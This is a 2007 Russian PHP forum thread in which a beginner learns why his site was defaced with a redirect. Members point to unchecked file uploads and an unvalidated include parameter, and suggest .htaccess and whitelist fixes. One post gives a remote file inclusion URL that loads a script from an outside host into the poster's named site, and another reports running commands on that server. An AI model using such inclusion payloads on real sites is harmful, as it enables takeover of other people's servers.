Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
PHP 5. На примерах. Авторы: Кузнецов М.В., Симдянов И.В., Голышев С.В. Самоучитель MySQL 5. Авторы: Кузнецов М.В., Симдянов И.В. PHP Puzzles. Авторы: Кузнецов М.В., Симдянов И.В. Самоучитель PHP 5 / 6 (3 издание). Авторы: Кузнецов М.В., Симдянов И.В. MySQL 5. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: Защита сайта от злоумышлеников
 
 автор: Andchir   (05.01.2007 в 15:42)   письмо автору
 
 

Мне недавно в index.php как-то вставили редирект на другой сайт. Я конечно понимаю, что это для вас профи смешно... Подскажите - как это сделали и как от этого защититься?

   
 
 автор: cheops   (05.01.2007 в 15:55)   письмо автору
 
   для: Andchir   (05.01.2007 в 15:42)
 

Как вставлен редирект - прямо в HTML код или через текст в базе данных, который размещают посетители в гостевой книге или другом сервисе?

   
 
 автор: Andchir   (05.01.2007 в 16:23)   письмо автору
 
   для: cheops   (05.01.2007 в 15:55)
 

Хорошо, что изменили название темы.
Редирект вставлен под видом шапки - Include и т.д. (точно не помню, уже убрал). И причем красиво вставлен. Такое впечатление, что кто-то открыл этот файл, вставил свой код и сохранил.

   
 
 автор: cheops   (05.01.2007 в 16:36)   письмо автору
 
   для: Andchir   (05.01.2007 в 16:23)
 

Сколько человек имеет FTP-доступ к сайту? Запросите у хостера логи доступа по FTP. Прежде чем менять FTP-пароли, проверьте машину (с которой осуществляете FTP-доступ) на предмет троянов, их воорующих.

PS Ссылка на российский или на забугорный сайт?

   
 
 автор: Andchir   (05.01.2007 в 16:47)   письмо автору
 
   для: cheops   (05.01.2007 в 16:36)
 

Ссылка была на http://wapz.net.ru/. FTP-доступ только у меня, файл с паролями лежит на компе. Имеет ли смысл спрятать файлы с паролями и т.п. на флешку или куда-то ещё? Спасибо!

   
 
 автор: Unkind   (05.01.2007 в 17:12)   письмо автору
 
   для: Andchir   (05.01.2007 в 16:47)
 

Администратор данного сайта посещает данный форум под ником "UnKnown". Вероятно Вы скачали один из левых скриптов с его сайта, либо, что очень вероятно, воспользовались онлайн FTP-менеджером с его сайта. Не надо пользоваться услугами таких людей.

   
 
 автор: Andchir   (05.01.2007 в 17:27)   письмо автору
 
   для: Unkind   (05.01.2007 в 17:12)
 

>Администратор данного сайта посещает данный форум под ником "UnKnown". Вероятно Вы скачали один из левых скриптов с его сайта, либо, что очень вероятно, воспользовались онлайн FTP-менеджером с его сайта. Не надо пользоваться услугами таких людей.
Я использую только TotalCommander и HTTP-файлменеджер с личного кабинета хостинга (очень редко). А на тот сайт вобще никогда не заходил.

   
 
 автор: Alph[p]a   (05.01.2007 в 17:13)   письмо автору
 
   для: Andchir   (05.01.2007 в 16:47)
 

Спрячь все пароли и логины в моzги...точно никто не украдёт (100% гарантия):))))
P.S Если не получаеться запомнить то пишу на бумагу и тоже прячь её))))))))

   
 
 автор: Andchir   (05.01.2007 в 17:23)   письмо автору
 
   для: Andchir   (05.01.2007 в 16:47)
 

Посмотрел логи FTP - никого кроме меня (судя по IP и времени). Хостер говорит это скорее всего "через уязвимости скриптов". Какая может быть уязвимость в такой странице - http://okarelia.ru/ ? Инклуд был вставлен в самое начало HTML-кода.

   
 
 автор: cheops   (05.01.2007 в 17:27)   письмо автору
 
   для: Andchir   (05.01.2007 в 17:23)
 

Посетители имеют возможность загружать файлы на сервер?

   
 
 автор: Andchir   (05.01.2007 в 17:31)   письмо автору
 
   для: cheops   (05.01.2007 в 17:27)
 

Да, есть возможность закачки файлов (не в корневую папку) и даже без проверки.

   
 
 автор: Unkind   (05.01.2007 в 17:34)   письмо автору
 
   для: Andchir   (05.01.2007 в 17:31)
 

Хм...Че же не убираете дыру?..

   
 
 автор: cheops   (05.01.2007 в 18:21)   письмо автору
 
   для: Andchir   (05.01.2007 в 17:31)
 

Как так... срочно убирайте - если кто-нибудь загрузит PHP-файл, он сможет с вашим сайтом сделать всё, что угодно: хоть include подставить, хоть стереть все существующие файлы. Расширения файлов следует обязательно контролировать, в папке, куда загружаются файлы следует отключить выполнение всех опасных скриптов при помощи конфигурационного файла .htaccess
RemoveHandler .php .phtml .pl
AddType text/html .php .phtm .htm .html .phtml .pl

   
 
 автор: Unkind   (05.01.2007 в 17:28)   письмо автору
 
   для: Andchir   (05.01.2007 в 17:23)
 

http://okarelia.ru/index.php?ref=http://wen-info.com/code.script - извините, но это глупейшая ошибка.

   
 
 автор: Andchir   (05.01.2007 в 17:39)   письмо автору
 
   для: Unkind   (05.01.2007 в 17:28)
 

>http://okarelia.ru/index.php?ref=http://wen-info.com/code.script - извините, но это глупейшая ошибка.
А как надо?

   
 
 автор: Unkind   (05.01.2007 в 17:45)   письмо автору
 
   для: Andchir   (05.01.2007 в 17:39)
 

Проверять, чтобы не могли подставить левую информацию.

   
 
 автор: cheops   (05.01.2007 в 18:18)   письмо автору
 
   для: Andchir   (05.01.2007 в 17:39)
 

Вообще не используйте такого способа передачи данных передавайте цифры 1, 2, 3 и т.д. а необходимые данные излекайте из массива
<?php
  $arr 
= array(=> "index.php"=> "upload/index.php"=> ...);
?>

   
 
 автор: Andchir   (05.01.2007 в 18:27)   письмо автору
 
   для: cheops   (05.01.2007 в 18:18)
 

Большое спасибо! Буду знать.

   
 
 автор: cheops   (05.01.2007 в 17:24)   письмо автору
 
   для: Andchir   (05.01.2007 в 16:47)
 

Прятать имеет смысл, кроме того, машину с которой осуществляется доступ на защищённые паролем ресурсы следует - защищать (в обязательном порядке иметь FireWall и регулярно сканировать машину на предмет троянов). FTP-пароль лучше сменить, пока чёрных ходов не оставили.

   
 
 автор: LuxeMate   (05.01.2007 в 17:43)   письмо автору
 
   для: cheops   (05.01.2007 в 17:24)
 

277,74 Gb of 333,55 Gb is free. - класный хостинг :D
Ещё и на OS Windows небось стоит....потому что комманды Linux не выролняются с помощью system() :D

   
 
 автор: Andchir   (05.01.2007 в 18:04)   письмо автору
 
   для: LuxeMate   (05.01.2007 в 17:43)
 

Хостинг 1ГБ. На винде. Парни, хватит уже издиваться над сайтом :)) Всё перекорёжили. Я недавно изучаю PHP, до безопасности ещё не дошел.

   
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования